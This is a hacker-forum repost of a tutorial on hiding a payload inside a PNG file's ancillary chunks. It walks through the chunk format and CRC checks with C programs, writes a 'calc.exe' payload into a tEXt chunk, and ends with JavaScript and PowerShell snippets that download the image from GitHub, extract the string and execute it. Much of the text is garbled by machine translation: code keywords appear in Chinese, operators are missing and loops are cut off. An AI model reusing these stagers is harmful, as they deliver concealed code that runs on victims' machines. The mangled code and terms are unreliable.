跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

隐写术技术3354隐藏PNG文件格式的有效载荷


尖REN

推荐的帖子

0x00 前言

隐写术历史悠久,里面有很多有趣的细节,所以我打算系统的研究一下,这次从PNG的文件格式开始。

0.jpg

图片来自http://null-byte . wonder how to . com/how-to/guide-steganography-part-1-hide-secret-messages-images-0130797/

0x01 简介

隐写术可以理解为信息隐藏,渗透测试中最重要的应用是有效载荷的隐藏。本文将对PNG的文件格式进行分析,编写C程序自动解析文件格式,并根据其文件格式添加一个自定义的有效载荷,不仅影响图片的正常浏览,还会将图片上传到网络,使用时下载并解密成特定格式,最后执行有效载荷。

注:

所有程序源代码已上传至github,网址为:

https://github.com/3gstudent/PNG-Steganography

0x02 PNG文件格式

1、PNG文件署名域

前8个字节

固定格式,十六进制是:

89 50 4e 47 0d 0a 1a 0a

2、数据块

组块类型代码:4字节,组块类型代码。

块数据(block data):存储数据的可变长度。

CRC(循环冗余检测):4字节,存储用于检测是否有错误的循环冗余码。

数据块类型:

1. 关键数据块(critical chunk)

(1)文件标题数据块IHDR(标题块)

包含PNG文件的基本信息。

一个PNG数据流中只能有一个IHDR。

必须在PNG文件最前面

(2)调色板数据块PLTE(调色板块)

包括与索引颜色图像相关的颜色转换数据。

必须在IDAT之前

(3)图像数据块(IDAT)。

存储实际数据。

可能有多个。

必须与其他IDAT连续

(4)图像数据IEND的结尾(图像尾部组块)

固定格式,十六进制是:

4E 44 AE 42 60 82

必须在PNG文件最尾部

2. 辅助数据块(ancillary chunk)

用于指示PNG图像中的图层和字符等信息。

可删除,不影响图片浏览,但图像将失去原来的可编辑性

(1)背景颜色数据块bKGD(背景颜色)

(2)原色和白度数据块CHRM(原色和白点)

(3)图像伽马数据块gAMA(图像伽马)

(4)图像直方图数据块hIST(图像直方图)

(5)物理像素大小数据块pHYs(物理像素尺寸)

(6)样本有效位的有效位(SBIT)

(7)文本信息数据块Text(文本数据)

(8)最后修改时间数据块时间(图像最后修改时间)

(9)图像透明数据块tRNS(透明度)

(10)压缩文本数据块zTXt(压缩文本数据)

0x03 实例格式分析

工具:十六进制编辑器

优点:

可以标记十六进制字符串,设置颜色,方便格式分析。

测试文件:

test.png

源下载地址:

http://www.easyicon.net/language.en/1172671-png_icon.html

标记的文件格式如图所示。

2-1.PNG

2-2.PNG

(1) PNG文件署名域

固定格式:

89 50 4e 47 0d 0a 1a 0a

(2) IHDR

00000008h:00 00 00 0D 49 48 44 52 00 00 00 1A 00 00 00 1A;….IHDR…….

00000018h:08 04 00 00 00 03 43 84 45;c。

数据块结构:

Length:

0 00 00 0D

前4个字节,定义长度,十进制00 00 0D是13,这意味着长度是13个字节。

Chunk Type Code:

49 48 44 52

4个字节,定义数据块类型代码,这里是IHDR。

Chunk Data:

1A 00 00 00 1A 08 04 00 00 00 00

总共13个字节,定义数据内容。

CRC:

4字节,由CRC32根据块类型代码块数据计算的值。

也就是说,将计算以下十六进制数:

1A 00 00 00 00 1A 08 04 00 00 00 00

写一个验证CRC算法的程序,保存为example1.cpp源代码如下:

#包括

unsigned int GetCrc32(char* InStr,unsigned int len){

无符号整数CRC 32 table[256];

int i,j;

无符号整数Crc

for(I=0;i 256i ){

CRC=I;

for(j=0;j 8;j ){

中频(Crc 1)

CRC=(CRC 1)^0x EDB 88320;

其他

CRC=1;

}

Crc 32 table[I]=Crc;

}

Crc=0xffffffff

for(int m=0;^ CRC 32表[(Crc0xFF) ^仪器[m]];

}

CRC ^=0x ffffffff;

返回Crc

}

int main(int argc,char* argv[])

{

char buf[17]={0x49,0x48,0x44,0x52,0x00,0x00,0x00,0x00,0x1A,0x00,0x00,0x00,0x1A,0x08,0x04,0x00,0x00,0x 00 };

unsigned int crc32=GetCrc32(buf,sizeof(buf));

printf('x\n',crc32);

返回0;

}

运行后如图,输出03438445,同文件中的CRC32校验码相同

2-3.png

(3) gAMA

00000021h:00 00 00 04 67 41 4D 41 00 00 B1 8F 0B FC 61 05;….伽马.睆。黙。

数据块结构:

长度:00 00 00 04

组块类型代码67 41 4D

区块数据:00 00 B1 8F

儿童权利委员会:0B FC 61 05

(4) cHRM

00000031h:00 00 00 20 63 48 52 4D 00 00 7A 26 00 00 80 84;… cHRM.z.?

00000041h:00 00 FA 00 00 00 80 E8 00 00 75 30 00 00 EA 60;?u0.阘

00000051h:00 00 3A 98 00 00 17 70 9C BA 51 3C;p満Q

数据块结构:

长度:00 00 00 20

组块类型代码:63 48 52 4D

区块数据:00 00 7A 26 00 00 00 80 84 00 00 00 FA 00 00 00 00 80 E8 00 00 75 30 00 00 EA 60 00 00 3A 98 00 00 17 70

3C

(5) IDAT

(6-14)文本

(15)IEND

数据块结构:

长度:00 00 00 00

组块类型代码:49 45 4E

区块数据:

儿童权利委员会:AE 42 60 82

固定结构,CRC的值为对组块类型代码作CRC32校验

如图

2-4.png

0x04 编写程序分析文件格式

开发工具:vc6.0

1、读取PNG文件

保存为示例2.cpp,代码如下:

#包括

#包括

int main(int argc,char* argv[])

{

文件* fp

if((FP=fopen(' c:\ \ test \ \ test。png ',' Rb ')==NULL)

返回0;

fseek(fp,0,SEEK _ END);

int len=ftell(FP);

unsigned char * buf=new unsigned char[len];

fseek(fp,0,SEEK _ SET);

fread(buf,len,1,FP);

printf('len=%d\n ',len);

for(int I=1;i=len我)

{

printf('x',buf[i-1]);

if(i==0)

printf(' \ n ');

}

fclose(FP);

printf(' \ n ');

返回0;

}

如图,程序按照UltraEdit的格式输出,以便后续的格式分析

2-5.PNG

2、解析数据块结构

从第8字节开始,读前四字节为组块长度

对应的代码为:

无符号int chunk len=(buf[0]24)|(buf[1]16)|(buf[2]8)| buf[3];

接着四字节为ChunkName

printf('ChunkName:%c%c%c%c\n ',buf[0],buf[1],buf[2],buf[3]);

然后根据组块长度读出完整的ChunkData

最后读出CRC32的值,同块类型代码块数据求出的CRC32校验值作比较

保存为check.cpp,完整代码如下:

#包括

#包括

unsigned int get CRC 32(unsigned char * InStr,unsigned int len){

无符号整数CRC 32表[256];

无符号int i,j;

无符号整数循环冗余码校验

for(I=0;i 256i ){

CRC=I;

for(j=0;j 8;j ){

中频(Crc 1)

CRC=(CRC 1)^0x EDB 88320;

其他

CRC=1;

}

Crc 32表[I]=Crc;

}

Crc=0xffffffff

对于(无符号int m=0;^ CRC 32表[(Crc0xFF) ^仪器[m]];

}

CRC ^=0x ffffffff;

返回循环冗余码校验

}

int main(int argc,char* argv[])

{

文件* fp

无符号char * buf=NULL

无符号整数长度=0;

无符号int chunk len=0;

无符号int chunk CRC 32=0;

无符号int chunk offset=0;

无符号整数crc32=0;

无符号int I=0;

if((FP=fopen(' c:\ \ test \ \ test。png ',' Rb ')==NULL)

返回0;

fseek(fp,0,SEEK _ END);

len=ftell(FP);

buf=new unsigned char[len];

fseek(fp,0,SEEK _ SET);

fread(buf,len,1,FP);

printf('总长度=%d\n ',长度);

printf('-\ n ');

fseek(fp,8,SEEK _ SET);

组块偏移=8;

I=0;

while(1)

{

我;

memset(buf,0,len);

fread(buf,4,1,FP);

chunk len=(buf[0]24)|(buf[1]16)|(buf[2]8)| buf[3];

fread(buf,4 ChunkLen,1,FP);

printf('[ ]ChunkName:%c%c%c%c ',buf[0],buf[1],buf[2],buf[3]);

if(strncmp((char *)buf,' IHDR ',4)==0|strncmp((char *)buf,' PLTE ',4)==0|strncmp((char *)buf,' IDAT ',4)==0)

printf('调色板块\ n’);

printf('辅助块\ n’);

printf("chunkoffset:0xx\n',chunkoffset”);

printf('组块len:d\n',chunklen ');

ChunkOffset=ChunkLen 12

crc32=GetCrc32(buf,chunk len 4);

printf("expectcrc32:x\n',crc32”);

fread(buf,4,1,FP);

chunk CRC 32=(buf[0]24)|(buf[1]16)|(buf[2]8)| buf[3];

printf(‘大块CRC 32:x',chunkcrc32’);

如果(crc32!=ChunkCRC32)

printf('[!]CRC 32检查错误!\ n’);

其他

printf('检查成功!\ n \ n’);

chunk len=ftell(FP);

if(ChunkLen==(len-12))

{

printf(' \ n-\ n ');

printf('总块:%d\n ',I);

打破;

}

}

fclose(FP);

返回0;

}

运行如图,可获得完整的PNG文件结构

2-6.PNG

2-7.PNG

注:

这个程序可用来对PNG文件进行格式分析,标记PNG文件的数据块名称、偏移地址、数据块长度、比较预期和实际的CRC32校验码,可基于此对批量文件进行分析,查找可疑文件。

后续会补充大蟒的实现代码

0x05 去除多余数据

上面提到,去除辅助数据块的内容对PNG图像的浏览没有影响,下面就尝试去除PNG文件的所有辅助数据块

1、工具实现

如图,使用十六进制编辑器去除辅助数据块伽马、cHRM和bKGD

2-8.PNG

如图,文件大小变化,但不影响PNG文件浏览

2-9.png

2、程序实现

去除所有辅助数据块,只提取关键信息。程序先对ChunkName作判断,忽略非关键数据块(辅助块)的内容,并保存为new.png

保存为压缩. cpp完整代码为:

#包括

#包括

unsigned int get CRC 32(unsigned char * InStr,unsigned int len){

无符号整数CRC 32表[256];

无符号int i,j;

无符号整数循环冗余码校验

for(I=0;i 256i ){

CRC=I;

for(j=0;j 8;j ){

中频(Crc 1)

CRC=(CRC 1)^0x EDB 88320;

其他

CRC=1;

}

Crc 32表[I]=Crc;

}

Crc=0xffffffff

对于(无符号int m=0;^ CRC 32表[(Crc0xFF) ^仪器[m]];

}

CRC ^=0x ffffffff;

返回循环冗余码校验

}

int main(int argc,char* argv[])

{

文件*fp,* fpnew

无符号char * buf=NULL

无符号整数长度=0;

无符号int chunk len=0;

无符号int chunk CRC 32=0;

无符号int chunk offset=0;

无符号整数crc32=0;

无符号int i=0,j=0;

无符号字符签名[8]={0x89,0x50,0x4e,0x47,0x0d,0x0a,0x1a,0x0a };

无符号字符IEND[12]={0x00,0x00,0x00,0x00,0x49,0x45,0x4e,0x44,0xae,0x42,0x60,0x 82 };

if((fp=fopen('c:\\test\\0.png ',' Rb ')==NULL)

返回0;

if((FP new=fopen(' c:\ \ test \ \ new。png ',' WB ')==NULL)

返回0;

fseek(fp,0,SEEK _ END);

len=ftell(FP);

buf=new unsigned char[len];

fseek(fp,0,SEEK _ SET);

fread(buf,len,1,FP);

printf('总长度=%d\n ',长度);

printf('-\ n ');

fseek(fp,8,SEEK _ SET);

组块偏移=8;

I=0;

fwrite(签名,8,1,FP new);

while(1)

{

我;

j=0;

memset(buf,0,len);

fread(buf,4,1,FP);

fwrite(buf,4,1,FP new);

chunk len=(buf[0]24)|(buf[1]16)|(buf[2]8)| buf[3];

fread(buf,4 ChunkLen,1,FP);

printf('[ ]ChunkName:%c%c%c%c ',buf[0],buf[1],buf[2],buf[3]);

if(strncmp((char *)buf,' IHDR ',4)==0|strncmp((char *)buf,' PLTE ',4)==0|strncmp((char *)buf,' IDAT ',4)==0)

{

printf('调色板块\ n’);

fwrite(buf,4 ChunkLen,1,FP new);

}

其他

{

printf('辅助块\ n’);

fseek(fpnew,-4,SEEK _ CUR);

j=1;

}

printf("chunkoffset:0xx\n',chunkoffset”);

printf('组块len:d\n',chunklen ');

crc32=GetCrc32(buf,chunk len 4);

printf("expectcrc32:x\n',crc32”);

fread(buf,4,1,FP);

chunk CRC 32=(buf[0]24)|(buf[1]16)|(buf[2]8)| buf[3];

printf(‘大块CRC 32:x',chunkcrc32’);

如果(crc32!=ChunkCRC32)

printf('[!]CRC 32检查错误!\ n’);

其他

{

printf('检查成功!\ n \ n’);

如果(j==0)

fwrite(buf,4,1,FP new);

}

chunk len=ftell(FP);

if(ChunkLen==(len-12))

{

printf(' \ n-\ n ');

printf('总块:%d\n ',I);

打破;

}

}

fwrite(IEND,12,1,FP new);

fclose(FP);

fclose(FP new);

返回0;

}

如图,左边为原始PNG文件大小,右边为去掉所有辅助数据块后的文件,仍然可以正常浏览

2-10.png

0x06 写入Payload

实例:

按照辅助数据块的格式写入有效载荷

写入的有效载荷为:

calc.exe

辅助数据块设置为:

文本

对应的完整数据块结构如下:

长度:00 00 00 08

组块类型代码:74 45 58 74

区块数据:63 61 6c 63 2e 65 78 65

儿童权利委员会:fa c4 08 76

写入的十六进制数据如下:

00 00 00 08 74 45 58 74 63 61 6c 63 2e 65 78 65法C4 08 76

注:

本实例仅作演示,实际使用可换成其他数据块,更加隐蔽

1、工具实现

使用十六进制编辑器插入数据,如图

2-11.PNG

保存后,不影响PNG文件浏览

2、程序实现

去掉PNG文件所有的辅助数据块后,写入有效载荷数据块文本

保存为addpayload.cpp,完整代码:

#包括

#包括

unsigned int get CRC 32(unsigned char * InStr,unsigned int len){

无符号整数CRC 32表[256];

无符号int i,j;

无符号整数循环冗余码校验

for(I=0;i 256i ){

CRC=I;

for(j=0;j 8;j ){

中频(Crc 1)

CRC=(CRC 1)^0x EDB 88320;

其他

CRC=1;

}

Crc 32表[I]=Crc;

}

Crc=0xffffffff

对于(无符号int m=0;^ CRC 32表[(Crc0xFF) ^仪器[m]];

}

CRC ^=0x ffffffff;

返回循环冗余码校验

}

void convertStrToUnChar(char * str,unsigned char* UnChar)

{

int i=strlen(str),j=0,counter=0;

char c[2];

无符号整数字节[2];

for(j=0;j I;j=2)

{

if(0==j % 2)

{

c[0]=str[j];

c[1]=str[j 1];

sscanf(c,'x',bytes[0]);

UnChar[counter]=bytes[0];

柜台;

}

}

返回;

}

void AddPayload(FILE *fp)

{

char * Payload=' calc.exe

无符号字符*缓冲

int len

int crc32

len=strlen(有效载荷);

buf=新无符号字符[第12条];

buf[0]=len 240 xff;

buf[1]=len 160 xff;

buf[2]=len 80 xff;

buf[3]=len0x ff;

buf[4]=' t ';

buf[5]=' E ';

buf[6]=' X ';

buf[7]=' t ';

for(int j=0;j

使用check.cpp对其进行校验,如图,校验成功

2-12.PNG

0x07 读取payload并执行

将添加有效载荷的图片上传至github,在客户端实现读取图片解析有效载荷并执行:

1、javascript

h=新的ActiveXObject('WinHttp .winhttp请求。5.1');

h.SetTimeouts,0,0,0);

h.打开(' GET ',' https://raw。githubusercontent。com/3g student/PNG-隐写术/master/new。PNG ',false);

h . send();

Data=h . ResponseText

x=数据。(“文本”)的索引;

y=数据。的索引(' index

str=数据。子串(x ^ 4,y-8);

新建ActiveXObject('WScript .壳')。run(str);

2、powershell

$ URL=' https://raw。githubusercontent。com/3g student/PNG-隐写术/master/new。巴布亚新几内亚

$request=新对象系统。网络客户端

$bytes=$request .下载字符串($url)

$x=$bytes.indexof('文本)

$y=$bytes.indexof('IEND ')

$str=$bytes .子字符串($ x ^ 4,$y-$x-12)

开始进程文件路径$str

注:

这里给出两种方法,仅作演示

0x08 小结

本文详细介绍分析了PNG文件的格式,编写程序实现以下功能:

自动解析PNG文件格式,辅助查找其中的隐藏内容

添加有效载荷

下载PNG图片解析并执行有效载荷

留下回复

链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...